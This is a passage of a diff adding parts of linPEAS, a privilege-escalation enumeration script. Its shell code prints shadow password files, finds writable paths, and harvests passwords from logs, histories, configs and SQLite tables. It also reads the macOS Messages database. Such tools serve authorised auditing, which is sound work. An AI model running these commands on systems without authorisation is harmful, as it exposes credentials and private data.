print_list "Can I read shadow files? ............. "
|
||||
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
print_list "Can I read shadow plists? ............ "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
print_list "Can I write shadow plists? ........... "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
##-- IPF) Read opasswd file
|
||||
print_list "Can I read opasswd file? ............. "
|
||||
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) network-scripts
|
||||
print_list "Can I write in network-scripts? ...... "
|
||||
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Read root dir
|
||||
print_list "Can I read root folder? .............. "
|
||||
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Root files in home dirs
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching root files in home dirs (limit 30)"
|
||||
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Others files in my dirs
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Searching folders owned by me containing others files on it (limit 100)"
|
||||
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Readable files belonging to root and not world readable
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Readable files belonging to root and readable by me but not world readable"
|
||||
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Interesting writable files by ownership or all
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||
# In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
||||
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
printf "%s\n" "$obmowbe" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -qE "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Interesting writable files by group
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||
for g in $(groups); do
|
||||
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
||||
printf " Group $GREEN$g:\n$NC";
|
||||
printf "%s\n" "$iwfbg" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -Eq "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
315
linPEAS/builder/linpeas_parts/9_interesting_files.sh
Normal file
315
linPEAS/builder/linpeas_parts/9_interesting_files.sh
Normal file
@@ -0,0 +1,315 @@
|
||||
###########################################
|
||||
#----------) Interesting files (----------#
|
||||
###########################################
|
||||
|
||||
|
||||
##-- IF) .sh files in PATH
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title ".sh files in path"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
||||
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then # If write permision, win found (no check exploits)
|
||||
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
|
||||
fi
|
||||
done
|
||||
done
|
||||
echo ""
|
||||
|
||||
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
|
||||
if [ "$broken_links" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Broken links in path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Date times inside firmware
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Files datetimes inside the firmware (limit 50)"
|
||||
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
|
||||
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Executable files added by user
|
||||
print_2title "Executable files potentially added by user (limit 70)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
|
||||
else
|
||||
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
|
||||
fi
|
||||
echo ""
|
||||
|
||||
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Unsigned Applications"
|
||||
macosNotSigned /System/Applications
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected in /opt
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$(ls /opt 2>/dev/null)" ]; then
|
||||
print_2title "Unexpected in /opt (usually empty)"
|
||||
ls -la /opt
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected folders in /
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Unexpected in root"
|
||||
if [ "$MACPEAS" ]; then
|
||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
else
|
||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Modified interesting files into specific folders in the last 5mins
|
||||
print_2title "Modified interesting files in the last 5mins (limit 100)"
|
||||
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
##-- IF) Writable log files
|
||||
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then # 3.18.0 and below
|
||||
print_2title "Writable log files (logrotten) (limit 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
|
||||
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
||||
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
||||
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
|
||||
printf "%s\n" "$logfind" | while read log; do
|
||||
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then # Only print info if something interesting found
|
||||
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
|
||||
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
##-- IF) Files inside my home
|
||||
print_2title "Files inside $HOME (limit 20)"
|
||||
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Files inside /home
|
||||
print_2title "Files inside others home (limit 20)"
|
||||
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Mail applications
|
||||
print_2title "Searching installed mail applications"
|
||||
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
|
||||
echo ""
|
||||
|
||||
##-- IF) Mails
|
||||
print_2title "Mails (limit 50)"
|
||||
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Backup folders
|
||||
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Backup folders"
|
||||
printf "%s\n" "$backup_folders" | while read b ; do
|
||||
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
|
||||
ls -l "$b" 2>/dev/null && echo ""
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Backup files
|
||||
print_2title "Backup files (limited 100)"
|
||||
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
|
||||
printf "%s\n" "$backs" | head -n 100 | while read b ; do
|
||||
if [ -r "$b" ]; then
|
||||
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
|
||||
fi;
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) DB files
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Reading messages database"
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
|
||||
|
||||
fi
|
||||
|
||||
|
||||
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
|
||||
FILECMD="$(command -v file 2>/dev/null)"
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if [ "$FILECMD" ]; then
|
||||
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
else
|
||||
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
SQLITEPYTHON=""
|
||||
echo ""
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then # If readable and filecmd and sqlite, or readable and not filecmd
|
||||
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
|
||||
tables=$(sqlite3 $f ".tables" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
|
||||
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
|
||||
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
else
|
||||
tables=""
|
||||
fi
|
||||
if [ "$tables" ] || [ "$DEBUG" ]; then
|
||||
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
|
||||
printf "%s\n" "$tables" | while read t; do
|
||||
columns=""
|
||||
# Search for credentials inside the table using sqlite3
|
||||
if [ -z "$SQLITEPYTHON" ]; then
|
||||
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
|
||||
# Search for credentials inside the table using python
|
||||
else
|
||||
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
|
||||
fi
|
||||
# Check found columns for interesting fields
|
||||
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
|
||||
if [ "$INTCOLUMN" ]; then
|
||||
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
|
||||
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
|
||||
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Downloaded Files"
|
||||
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
|
||||
fi
|
||||
|
||||
##-- IF) Web files
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Web files?(output limit)"
|
||||
ls -alhR /var/www/ 2>/dev/null | head
|
||||
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
|
||||
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
|
||||
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) All hidden files
|
||||
print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
|
||||
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70
|
||||
echo ""
|
||||
|
||||
##-- IF) Readable files in /tmp, /var/tmp, backups
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
|
||||
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70)
|
||||
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history cmd
|
||||
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history cmd"
|
||||
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history files
|
||||
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history files"
|
||||
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -EiH "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in config PHP files
|
||||
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in config PHP files"
|
||||
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiIH "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords files in home
|
||||
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching *password* or *credential* files in home (limit 70)"
|
||||
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) TTY passwords
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
|
||||
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
|
||||
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) IPs inside logs
|
||||
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
|
||||
print_2title "Searching IPs inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords inside logs
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching passwords inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
|
||||
##-- IF) Emails inside logs
|
||||
print_2title "Searching emails inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
##-- IF) Find possible files with passwords
|
||||
print_2title "Searching possible password variables inside key folders (limit 140)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
else
|
||||
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
fi
|
||||
wait
|
||||
echo ""
|
||||
|
||||
##-- IF) Find possible conf files with passwords
|
||||
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
else
|
||||
